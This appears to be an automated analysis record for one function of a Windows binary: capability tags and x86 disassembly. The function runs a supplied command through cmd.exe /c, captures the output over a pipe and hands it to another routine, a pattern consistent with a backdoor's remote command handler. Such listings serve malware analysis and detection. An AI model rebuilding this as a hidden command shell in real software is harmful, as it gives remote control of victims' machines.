Function at 0x401fe0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4320
call fcn.0040a960
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x80b]
push ebx
push eax
mov esi, ecx
mov byte [ebp - 0x80c], bl
call fcn.00406d50
push 0x3ff
lea ecx, [ebp - 0x40b]
push ebx
push ecx
mov byte [ebp - 0x40c], bl
call fcn.00406d50
push 0x400
lea edx, [ebp - 0x40c]
push str.C:windows_system32cmd.exe
push edx
call fcn.00403080
push esi
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x80c]
push str._s__c__s
push ecx
call fcn.00402cb1
add esp, 0x34
push 0x40000
lea edx, [ebp - 0x42d0]
push edx
lea eax, [ebp - 0x42a8]
push eax
lea ecx, [ebp - 0x42ac]
push ecx
mov dword [ebp - 0x42d0], 0xc
mov dword [ebp - 0x42cc], ebx
mov dword [ebp - 0x42c8], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x44
lea edx, [ebp - 0x431c]
push ebx
push edx
call fcn.00406d50
mov edi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
mov dword [ebp - 0x42c0], eax
mov dword [ebp - 0x42bc], eax
mov dword [ebp - 0x42b8], eax
mov dword [ebp - 0x42b4], eax
mov eax, dword [ebp - 0x42a8]
mov dword [ebp - 0x42dc], eax
mov dword [ebp - 0x42e0], eax
xor eax, eax
add esp, 0xc
mov dword [ebp - 0x431c], 0x44
mov dword [ebp - 0x42e4], ebx
mov dword [ebp - 0x42f0], 0x101
mov word [ebp - 0x42ec], ax
xor esi, esi
lea ecx, [ebp - 0x42c0]
push ecx
lea edx, [ebp - 0x431c]
push edx
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
lea eax, [ebp - 0x80c]
push eax
push ebx
call edi
test eax, eax
jne 0x40212c
inc esi
cmp esi, 8
jl 0x402103
cmp esi, 8
jne 0x402144
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00402ca2
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [ebp - 0x42b0], 1
call esi
mov ecx, dword [ebp - 0x42c0]
push 0x1d4c0
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x42c0]
lea edx, [ebp - 0x42c4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x4021c5
cmp dword [ebp - 0x42c4], 0x103
jne 0x4021c5
mov ecx, dword [ebp - 0x42c0]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x42c0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [ebp - 0x42ac]
push eax
call esi
mov ecx, dword [ebp - 0x42a8]
push ecx
call esi
jmp 0x402249
mov edx, dword [ebp - 0x42c0]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [ebp - 0x42a8]
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 0x42ac]
push ebx
lea ecx, [ebp - 0x42b0]
push ecx
push 0x3a84
lea edx, [ebp - 0x42a4]
push edx
push eax
call edi
mov ecx, dword [ebp - 0x42b0]
cmp ecx, ebx
je 0x40223c
cmp eax, ebx
je 0x40223c
mov eax, dword [ebp + 8]
mov byte [ebp + ecx - 0x42a4], bl
lea edx, [ebp - 0x42a4]
push edx
mov edx, dword [0x411d08]
inc ecx
push ecx
push ebx
push eax
mov ecx, 0xa021
call fcn.00401280
add esp, 0x10
push 1
call esi
jmp 0x4021e3
mov ecx, dword [ebp - 0x42ac]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402ca2
mov esp, ebp
pop ebp
ret